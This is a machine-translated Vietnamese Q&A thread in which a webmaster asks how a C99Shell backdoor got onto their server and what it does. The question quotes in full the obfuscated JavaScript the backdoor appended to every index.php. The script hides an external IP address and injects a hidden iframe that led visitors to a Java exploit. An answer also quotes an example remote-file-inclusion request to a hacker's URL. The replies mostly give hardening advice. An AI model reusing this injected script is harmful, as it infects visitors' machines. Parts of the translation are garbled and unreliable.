2010-08-04 25 views
8

Trang web của tôi bị nhiễm vi rút trojan.Bảo vệ trang web từ Backdoor/PHP.C99Shell aka Trojan.Script.224490

Ai đó đã quản lý để tạo/tải lên tệp có tên "x76x09.php" hoặc "config.php" vào thư mục gốc của webspace của tôi. Kích thước của nó là 44287 byte và MD5 checksum của nó là 8dd76fc074b717fccfa30b86956992f8. I've analyzed this file using Virustotal. Những kết quả này nói rằng đó là "Backdoor/PHP.C99Shell" hoặc "Trojan.Script.224490".

Tệp này đã được thực hiện trong cùng thời điểm tệp được tạo. Vì vậy, nó phải đã xảy ra tự động. Tệp này đã thêm mã độc sau vào cuối mỗi index.php trên webspace của tôi.

</body> 
</html><body><script> 
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;} 
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;} 
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}} 
i.i.l.j();</script> 

Sau khi mã trên trang của tôi, người dùng báo cáo một bảng màu xanh bật lên trong Firefox. Nó yêu cầu họ cài đặt một plugin. Bây giờ một số người trong số họ có Exploit.Java.CVE-2010-0886.a trên PC của họ.

Sự lây nhiễm đã xảy ra mặc dù tôi đã allow_url_fopen và allow_url_include bị tắt. Và con heo của tôi nói rằng tập tin không được tải lên qua FTP.

Vì vậy, câu hỏi của tôi là:

  • không mã độc hại làm gì? Nó được mã hóa như thế nào?
  • Làm cách nào để tệp từ xa ("x76x09.php" hoặc "config.php") truy cập vào không gian web của tôi? SQL injection? Virus trên máy tính của riêng tôi?
  • Tôi làm cách nào để bảo vệ trang web của mình khỏi các cuộc tấn công như vậy trong tương lai?

Cảm ơn bạn rất nhiều trước! Tôi thực sự cần giúp đỡ.

This question is similar. But it's more like a report. I didn't know it's a virus from the beginning. So this question here refers to the virus itself, the other question does not.

+1

Mã được viết bằng JavaScript, thêm thẻ có liên quan. – Mchl

Trả lời

6

Trang web của bạn đã bị tấn công bằng cách sử dụng exploit code.

  1. Bạn phải cập nhật tất cả mọi thứ, bao gồm cả bất kỳ thư viện php bạn có thể đã cài đặt.

  2. Run phpsecinfo và loại bỏ tất cả đỏ và càng nhiều vàng càng tốt bằng cách sửa đổi .htaccess của bạn hoặc php.ini.

  3. Remove ghi ưu đãi từ khắp nơi tập tin và thư mục web root (chmod 500 -R /var/www && chown www-root /var/www) các chown nên được bất cứ điều gì người dùng đang chạy php nên làm một nhân vật <?php system('whoami');?> để mà ra.

  4. Thay đổi tất cả mật khẩu và sử dụng sftp hoặc ftps nếu bạn có thể.

  5. Xóa FILE đặc quyền từ Tài khoản MySQL mà php của bạn sử dụng ứng dụng.

+0

Cảm ơn bạn rất nhiều! (1) Tôi chưa cài đặt bất kỳ thư viện php nào. Chỉ cần con heo của tôi. Nhưng tôi chắc chắn rằng con hoster của tôi làm công việc của mình. (3) Tôi có thể chỉ định "544" hoặc "444" cho tất cả các tệp dự án của mình không? Tôi chỉnh sửa chúng thông qua FTP vậy tại sao cho viết quyền? "500" không hoạt động. Thông báo lỗi xuất hiện !? (4) Tôi đã thay đổi mật khẩu. Tôi hỏi hoster của tôi nếu tôi có thể sử dụng sftp hoặc ftps. (5) Tôi không biết cách thay đổi những đặc quyền này. Nhưng cho đến bây giờ, các tập lệnh PHP của tôi đã sử dụng người dùng MySQL toàn cầu. Đây là một sai lầm lớn, phải không? Tôi đã tạo một người dùng khác, chỉ cho cơ sở dữ liệu này. – caw

+1

@ marco92w Không, 2 số cuối phải luôn bằng 0. Nếu bạn gặp lỗi thì quyền sở hữu không chính xác. chmod 555 sẽ làm việc cho bây giờ, nhưng nó là một thực tế khủng khiếp. Bạn không bao giờ muốn cấp cho tất cả người dùng quyền truy cập vào tệp của mình. Có sử dụng một người dùng mysql toàn cầu là một sai lầm rất nghiêm trọng. Nếu tất cả mọi thứ được cập nhật, tôi nghĩ rằng ai đó trên hộp máy chủ đã tấn công trang web của bạn, những gì bạn mô tả là khủng khiếp. – rook

+0

Cảm ơn! (A) "whoami" cho tôi "không ai" là phản ứng sao !? (B) Tại sao không "444" cho các tệp và "555" cho các thư mục? Vậy thì không ai viết đặc quyền, đúng không? (C) Tôi đã thay đổi người dùng tập lệnh PHP thành người dùng không toàn cầu. Và tôi đã thay đổi mật khẩu của MySQL và FTP. Như thế này đủ chưa? – caw

0

Bạn có thể có một cơ chế tải lên trên trang web của bạn mà không được lọc đúng cách. Ví dụ: nếu bạn có khả năng sử dụng ảnh tiểu sử, ai đó có thể tải lên tệp php và tìm cách thực thi và giành quyền kiểm soát trang web của bạn.

x76x09.php là trình duyệt/trình tải lên thư mục bị kiểm duyệt cho phép trình tải lên độc hại kiểm soát toàn bộ trang web của bạn.

Đảm bảo bạn tạm thời tắt tất cả các phương pháp tải tệp lên máy chủ của mình ngay lập tức và xóa tất cả các phiên bản mã độc hại trong TẤT CẢ tệp.

+1

Tôi rất nghi ngờ điều đó. – rook

+0

@ The Rook: Bạn rất nghi ngờ điều gì? – Kranu

+0

@Kranu là một trong hơn 6.000 cách có thể xảy ra. Bạn nên đọc câu trả lời của tôi. – rook

7

Nhiều trang web mà chúng tôi thấy đã bị tấn công là kết quả của vi-rút trên PC được sử dụng cho tệp FTP vào trang web bị nhiễm. Virus đánh cắp mật khẩu FTP theo nhiều cách khác nhau - nhưng chủ yếu là hai.

Thứ nhất, nếu bạn đang sử dụng một chương trình FTP miễn phí như FileZilla, bạn nên biết rằng các chương trình lưu trữ thông tin đăng nhập mà mình đã lưu trong một tập tin văn bản đơn giản. Thật dễ dàng cho vi-rút tìm thấy chúng, đọc chúng và gửi thông tin đến máy chủ sau đó đăng nhập vào FTP bằng thông tin đăng nhập hợp lệ, sao chép một số tệp nhất định, lây nhiễm chúng rồi gửi chúng trở lại trang web. Thông thường, nó cũng sao chép các kịch bản shell "backdoor" này vào trang web cũng như khi mật khẩu FTP bị thay đổi, chúng vẫn có thể lây nhiễm lại trang web.

Vi-rút cũng "ngửi" lưu lượng truy cập FTP. Vì FTP truyền tất cả dữ liệu bao gồm cả tên người dùng và mật khẩu, trong văn bản thuần túy, vi rút cũng dễ dàng xem và ăn cắp thông tin theo cách đó.

Khá thường xuyên, tuy nhiên, khi chúng tôi đã nhìn thấy một backdoor đó gây nhiễm trùng, nó thường là kết quả của Remote File Inclusion lỗ hổng nơi nào đó trên trang web. Các tin tặc liên tục cố gắng thêm một URL trỏ đến một trong những cửa hậu của họ đến cuối bất kỳ chuỗi Yêu cầu nào. Vì vậy, trong nhật ký truy cập của bạn, bạn có thể thấy một cái gì đó như:

/path/folder/another/folder/file.php? http://www.hackerswebsite.com/id.txt ????

Trường hợp chuỗi đường dẫn/thư mục chỉ dành cho mục đích minh họa tại đây.

Đôi khi đó chỉ huy công trình, họ có thể sao chép id.txt vào trang web dự định và do đó có một kịch bản shell backdoor mà từ đó họ có thể thao tác các tập tin.

Thay đổi tất cả mật khẩu - FTP, cơ sở dữ liệu, cPanel hoặc giao diện quản trị khác.

Quét tất cả máy tính để tìm vi-rút.

Thay đổi thành SFTP.

Kiểm tra tất cả các thư mục cho 755 điều khoản và tất cả các file cho 644. Đây là những gì là tiêu chuẩn.

Nếu nó là SQL injection nhiễm trùng sẽ không được vào cuối của tập tin. Nó sẽ là một nơi nào đó có một cuộc gọi SQL để tạo ra nội dung.

Có. Với backdoors ngày nay, kẻ tấn công có thể và có lẽ đã xem các tập tin config.php nơi dữ liệu MySQL của bạn được lưu lại.

Thay đổi tất cả mật khẩu.

+0

Cảm ơn bạn! Vì vậy, bạn nghĩ rằng FileZilla của tôi đã bị nhiễm và tải tệp từ xa lên máy chủ của tôi, phải không? – caw

Các vấn đề liên quan